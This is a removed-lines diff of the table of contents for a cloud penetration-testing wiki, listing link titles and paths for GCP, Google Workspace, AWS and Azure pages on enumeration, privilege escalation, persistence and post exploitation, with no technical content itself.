-    * [GCP - Source Repositories Enum](pentesting-cloud/gcp-security/gcp-services/gcp-source-repositories-enum.md)
-    * [GCP - Spanner Enum](pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md)
-    * [GCP - Stackdriver Enum](pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md)
-    * [GCP - Storage Enum](pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md)
-    * [GCP - Workflows Enum](pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md)
-  * [GCP <--> Workspace Pivoting](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md)
-    * [GCP - Understanding Domain-Wide Delegation](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md)
-  * [GCP - Unauthenticated Enum & Access](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/README.md)
-    * [GCP - API Keys Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md)
-    * [GCP - App Engine Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md)
-    * [GCP - Artifact Registry Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-artifact-registry-unauthenticated-enum.md)
-    * [GCP - Cloud Build Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md)
-    * [GCP - Cloud Functions Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-functions-unauthenticated-enum.md)
-    * [GCP - Cloud Run Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md)
-    * [GCP - Cloud SQL Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md)
-    * [GCP - Compute Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md)
-    * [GCP - IAM, Principals & Org Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-iam-principals-and-org-unauthenticated-enum.md)
-    * [GCP - Source Repositories Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md)
-    * [GCP - Storage Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/README.md)
-      * [GCP - Public Buckets Privilege Escalation](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md)
-* [GWS - Workspace Pentesting](pentesting-cloud/workspace-security/README.md)
-  * [GWS - Post Exploitation](pentesting-cloud/workspace-security/gws-post-exploitation.md)
-  * [GWS - Persistence](pentesting-cloud/workspace-security/gws-persistence.md)
-  * [GWS - Workspace Sync Attacks (GCPW, GCDS, GPS, Directory Sync with AD & EntraID)](pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/README.md)
-    * [GWS - Admin Directory Sync](pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gws-admin-directory-sync.md)
-    * [GCDS - Google Cloud Directory Sync](pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md)
-    * [GCPW - Google Credential Provider for Windows](pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md)
-    * [GPS - Google Password Sync](pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md)
-  * [GWS - Google Platforms Phishing](pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md)
-    * [GWS - App Scripts](pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md)
-* [AWS Pentesting](pentesting-cloud/aws-security/README.md)
-  * [AWS - Basic Information](pentesting-cloud/aws-security/aws-basic-information/README.md)
-    * [AWS - Federation Abuse](pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md)
-  * [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
-  * [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
-    * [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
-    * [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
-    * [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
-    * [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
-    * [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md)
-    * [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md)
-    * [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md)
-    * [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md)
-    * [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md)
-    * [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md)
-    * [AWS - Lambda Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md)
-      * [AWS - Abusing Lambda Extensions](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
-      * [AWS - Lambda Layers Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md)
-    * [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
-    * [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
-    * [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
-    * [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
-    * [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
-    * [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
-    * [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md)
-    * [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
-    * [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
-  * [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)
-    * [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md)
-    * [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md)
-    * [AWS - CodeBuild Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md)
-      * [AWS Codebuild - Token Leakage](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md)
-    * [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md)
-    * [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md)
-    * [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md)
-    * [AWS - EC2, EBS, SSM & VPC Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md)
-      * [AWS - EBS Snapshot Dump](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md)
-      * [AWS - Malicious VPC Mirror](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md)
-    * [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md)
-    * [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md)
-    * [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md)
-    * [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md)
-    * [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md)
-    * [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md)
-    * [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md)
-    * [AWS - Lambda Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md)
-      * [AWS - Steal Lambda Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
-    * [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md)
-    * [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md)
-    * [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md)
-    * [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md)
-    * [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md)
-    * [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md)
-    * [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md)
-    * [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md)
-    * [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md)
-    * [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md)
-    * [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md)
-    * [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
-  * [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
-    * [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
-    * [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
-    * [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
-    * [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
-    * [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)
-      * [codestar:CreateProject, codestar:AssociateTeamMember](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md)
-      * [iam:PassRole, codestar:CreateProject](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md)
-    * [AWS - Cloudformation Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md)
-      * [iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md)
-    * [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md)
-    * [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md)
-    * [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md)
-    * [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md)
-    * [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md)
-    * [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md)
-    * [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md)
-    * [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md)
-    * [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md)
-    * [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md)
-    * [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md)
-    * [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md)
-    * [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md)
-    * [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md)
-    * [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md)
-    * [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md)
-    * [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md)
-    * [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md)
-    * [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md)
-    * [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md)
-    * [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md)
-    * [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md)
-    * [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md)
-    * [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md)
-    * [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md)
-    * [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md)
-    * [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md)
-    * [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md)
-    * [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md)
-    * [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md)
-    * [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md)
-    * [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md)
-    * [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md)
-    * [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md)
-    * [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md)
-  * [AWS - Services](pentesting-cloud/aws-security/aws-services/README.md)
-    * [AWS - Security & Detection Services](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md)
-      * [AWS - CloudTrail Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md)
-      * [AWS - CloudWatch Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md)
-      * [AWS - Config Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md)
-      * [AWS - Control Tower Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md)
-      * [AWS - Cost Explorer Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md)
-      * [AWS - Detective Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md)
-      * [AWS - Firewall Manager Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md)
-      * [AWS - GuardDuty Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md)
-      * [AWS - Inspector Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md)
-      * [AWS - Macie Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md)
-      * [AWS - Security Hub Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md)
-      * [AWS - Shield Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md)
-      * [AWS - Trusted Advisor Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md)
-      * [AWS - WAF Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md)
-    * [AWS - API Gateway Enum](pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md)
-    * [AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)](pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md)
-    * [AWS - CloudFormation & Codestar Enum](pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md)
-    * [AWS - CloudHSM Enum](pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md)
-    * [AWS - CloudFront Enum](pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md)
-    * [AWS - Codebuild Enum](pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md)
-    * [AWS - Cognito Enum](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md)
-      * [Cognito Identity Pools](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md)
-      * [Cognito User Pools](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md)
-    * [AWS - DataPipeline, CodePipeline & CodeCommit Enum](pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
-    * [AWS - Directory Services / WorkDocs Enum](pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md)
-    * [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md)
-    * [AWS - DynamoDB Enum](pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md)
-    * [AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md)
-      * [AWS - Nitro Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md)
-      * [AWS - VPC & Networking Basic Information](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md)
-    * [AWS - ECR Enum](pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md)
-    * [AWS - ECS Enum](pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md)
-    * [AWS - EKS Enum](pentesting-cloud/aws-security/aws-services/aws-eks-enum.md)
-    * [AWS - Elastic Beanstalk Enum](pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md)
-    * [AWS - ElastiCache](pentesting-cloud/aws-security/aws-services/aws-elasticache.md)
-    * [AWS - EMR Enum](pentesting-cloud/aws-security/aws-services/aws-emr-enum.md)
-    * [AWS - EFS Enum](pentesting-cloud/aws-security/aws-services/aws-efs-enum.md)
-    * [AWS - EventBridge Scheduler Enum](pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md)
-    * [AWS - Kinesis Data Firehose Enum](pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md)
-    * [AWS - IAM, Identity Center & SSO Enum](pentesting-cloud/aws-security/aws-services/aws-iam-enum.md)
-    * [AWS - KMS Enum](pentesting-cloud/aws-security/aws-services/aws-kms-enum.md)
-    * [AWS - Lambda Enum](pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md)
-    * [AWS - Lightsail Enum](pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md)
-    * [AWS - MQ Enum](pentesting-cloud/aws-security/aws-services/aws-mq-enum.md)
-    * [AWS - MSK Enum](pentesting-cloud/aws-security/aws-services/aws-msk-enum.md)
-    * [AWS - Organizations Enum](pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md)
-    * [AWS - Redshift Enum](pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md)
-    * [AWS - Relational Database (RDS) Enum](pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md)
-    * [AWS - Route53 Enum](pentesting-cloud/aws-security/aws-services/aws-route53-enum.md)
-    * [AWS - Secrets Manager Enum](pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md)
-    * [AWS - SES Enum](pentesting-cloud/aws-security/aws-services/aws-ses-enum.md)
-    * [AWS - SNS Enum](pentesting-cloud/aws-security/aws-services/aws-sns-enum.md)
-    * [AWS - SQS Enum](pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md)
-    * [AWS - S3, Athena & Glacier Enum](pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md)
-    * [AWS - Step Functions Enum](pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md)
-    * [AWS - STS Enum](pentesting-cloud/aws-security/aws-services/aws-sts-enum.md)
-    * [AWS - Other Services Enum](pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md)
-  * [AWS - Unauthenticated Enum & Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md)
-    * [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md)
-    * [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md)
-    * [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md)
-    * [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md)
-    * [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md)
-    * [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md)
-    * [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md)
-    * [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md)
-    * [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md)
-    * [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md)
-    * [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md)
-    * [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md)
-    * [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md)
-    * [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md)
-    * [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md)
-    * [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md)
-    * [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md)
-    * [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md)
-    * [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md)
-    * [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md)
-    * [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md)
-    * [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md)
-    * [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md)
-    * [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md)
-    * [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
-* [Azure Pentesting](pentesting-cloud/azure-security/README.md)
-  * [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
-    * [Az - Tokens & Public Applications](pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md)
-  * [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md)
-  * [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md)
-    * [Az - OAuth Apps Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md)
-    * [Az - VMs Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md)
-    * [Az - Device Code Authentication Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
-    * [Az - Password Spraying](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
-  * [Az - Services](pentesting-cloud/azure-security/az-services/README.md)
-    * [Az - Entra ID (AzureAD) & Azure IAM](pentesting-cloud/azure-security/az-services/az-azuread.md)
-    * [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md)
-    * [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md)
-    * [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
-    * [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md)
-      * [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md)
-    * [Az - App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
-    * [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
-    * [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
-    * [Az - Function Apps](pentesting-cloud/azure-security/az-services/az-function-apps.md)
-    * [Az - Key Vault](pentesting-cloud/azure-security/az-services/keyvault.md)
-    * [Az - Logic Apps](pentesting-cloud/azure-security/az-services/az-logic-apps.md)
-    * [Az - Management Groups, Subscriptions & Resource Groups](pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md)
-    * [Az - Queue Storage](pentesting-cloud/azure-security/az-services/az-queue-enum.md)
-    * [Az - Service Bus](pentesting-cloud/azure-security/az-services/az-servicebus-enum.md)
-    * [Az - SQL](pentesting-cloud/azure-security/az-services/az-sql.md)
-    * [Az - Storage Accounts & Blobs](pentesting-cloud/azure-security/az-services/az-storage.md)
-    * [Az - Table Storage](pentesting-cloud/azure-security/az-services/az-table-storage.md)
-    * [Az - Virtual Machines & Network](pentesting-cloud/azure-security/az-services/vms/README.md)
-      * [Az - Azure Network](pentesting-cloud/azure-security/az-services/vms/az-azure-network.md)
-  * [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
